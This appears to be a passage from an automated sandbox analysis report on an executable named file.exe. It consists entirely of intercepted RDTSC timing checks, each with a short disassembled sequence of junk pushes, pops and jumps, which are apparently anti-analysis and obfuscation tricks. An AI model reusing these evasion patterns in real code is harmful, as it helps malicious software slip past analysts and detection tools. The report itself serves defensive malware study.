Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA2F8 second address: CAA2FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA2FE second address: CAA302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA302 second address: CAA329 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2D44BC37E8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA329 second address: CAA371 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2D44C41DD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or di, DAEBh 0x00000010 lea eax, dword ptr [ebp+1247CD9Dh] 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F2D44C41DD8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 jp 00007F2D44C41DDCh 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA371 second address: CAA375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA375 second address: CAA391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA391 second address: CAA395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA395 second address: CAA3D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 je 00007F2D44C41DD8h 0x0000000e mov dh, bh 0x00000010 lea eax, dword ptr [ebp+1247CD59h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F2D44C41DD8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 nop 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA3D4 second address: CAA3D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA3D8 second address: CAA3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2D44C41DDFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA3F2 second address: C8F16B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F2D44BC37D8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov ecx, 51F9197Dh 0x00000027 mov di, 456Fh 0x0000002b call dword ptr [ebp+122D17FDh] 0x00000031 jmp 00007F2D44BC37E2h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 jmp 00007F2D44BC37E6h 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB21F second address: CEB225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE4F1 second address: CEE4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE4F7 second address: CEE4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE4FB second address: CEE516 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F2D44BC37E3h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE516 second address: CEE52E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DE1h 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF14A2 second address: CF14AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0CFE second address: CF0D04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D04 second address: CF0D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2D44BC37D6h 0x00000009 jns 00007F2D44BC37D6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jp 00007F2D44BC382Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F2D44BC37D6h 0x00000020 ja 00007F2D44BC37D6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D2A second address: CF0D67 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2D44C41DD6h 0x00000008 jmp 00007F2D44C41DE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2D44C41DE9h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D67 second address: CF0D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0EDE second address: CF0EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0EE4 second address: CF0EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F2D44BC37DFh 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1032 second address: CF104C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44C41DE4h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF104C second address: CF1052 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1052 second address: CF1062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2D44C41DDEh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1198 second address: CF119E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF119E second address: CF11A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF11A2 second address: CF11D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2D44BC37DFh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ecx 0x00000018 jmp 00007F2D44BC37DFh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF11D9 second address: CF11DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF342B second address: CF3436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3436 second address: CF3440 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2D44C41DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8625 second address: CF862A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF862A second address: CF8634 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2D44C41DDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8634 second address: CF8643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F2D44BC37D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8643 second address: CF8664 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2D44C41DE7h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF896F second address: CF8975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8AF1 second address: CF8AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8DDF second address: CF8DFA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2D44BC37DAh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2D44BC37DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8DFA second address: CF8DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9D9E second address: CA9DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9E83 second address: CA9E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2D44C41DD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFCD5A second address: CFCD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFCD60 second address: CFCD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC75E second address: CFC768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2D44BC37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC768 second address: CFC772 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2D44C41DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC772 second address: CFC7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F2D44BC37D6h 0x00000009 jmp 00007F2D44BC37DAh 0x0000000e jbe 00007F2D44BC37D6h 0x00000014 popad 0x00000015 jmp 00007F2D44BC37E7h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jl 00007F2D44BC3800h 0x00000022 pushad 0x00000023 jp 00007F2D44BC37D6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC7B4 second address: CFC7D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F2D44C41DDEh 0x0000000b popad 0x0000000c js 00007F2D44C41DDCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0195D second address: D0196B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2D44BC37D6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0196B second address: D0198D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DDDh 0x00000009 jnp 00007F2D44C41DD6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 je 00007F2D44C41DD6h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0198D second address: D01999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2D44BC37D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01999 second address: D0199D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00E6F second address: D00E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0112E second address: D0113F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DDBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D014CC second address: D014D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D094CE second address: D094F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F2D44C41DE2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D075AB second address: D075BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F2D44BC37D6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0770B second address: D0770F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0770F second address: D07713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07713 second address: D07721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0788B second address: D07899 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07BA8 second address: D07BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F2D44C41DE6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07BD0 second address: D07BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D086D9 second address: D086DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D086DD second address: D086E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D086E3 second address: D086FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 js 00007F2D44C41DD6h 0x0000000b jo 00007F2D44C41DD6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D08F8E second address: D08F93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AAD6 second address: C6AB00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DDFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2D44C41DE2h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AB00 second address: C6AB0A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2D44BC37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C608 second address: D0C60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C60C second address: D0C649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44BC37DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F2D44BC37ECh 0x00000013 push esi 0x00000014 jnc 00007F2D44BC37D6h 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C649 second address: D0C65F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2D44C41DE0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C65F second address: D0C663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0CCFC second address: D0CD00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D191F7 second address: D191FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D174CC second address: D174E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DE2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D177DE second address: D177E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D177E4 second address: D177FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44C41DDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F2D44C41DDEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18909 second address: D1890F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19073 second address: D19087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F2D44C41DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D19087 second address: D1909E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F2D44BC37E2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D16F04 second address: D16F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DE6h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007F2D44C41DD6h 0x00000013 jmp 00007F2D44C41DE6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2041F second address: D20423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D200FC second address: D20136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2D44C41DE8h 0x00000009 jmp 00007F2D44C41DE3h 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007F2D44C41DD6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20136 second address: D20156 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F2D44BC37E4h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F2D44BC37D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D20156 second address: D2015A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C730ED second address: C730F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D317EC second address: D31815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2D44C41DD6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F2D44C41DE8h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31815 second address: D31846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2D44BC37DFh 0x00000007 jg 00007F2D44BC37E2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F2D44BC37DAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31846 second address: D3184D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3184D second address: D31864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F2D44BC37DDh 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31370 second address: D31376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D31376 second address: D3137D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3137D second address: D313B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F2D44C41DDDh 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F2D44C41DD6h 0x00000016 jmp 00007F2D44C41DE9h 0x0000001b rdtsc
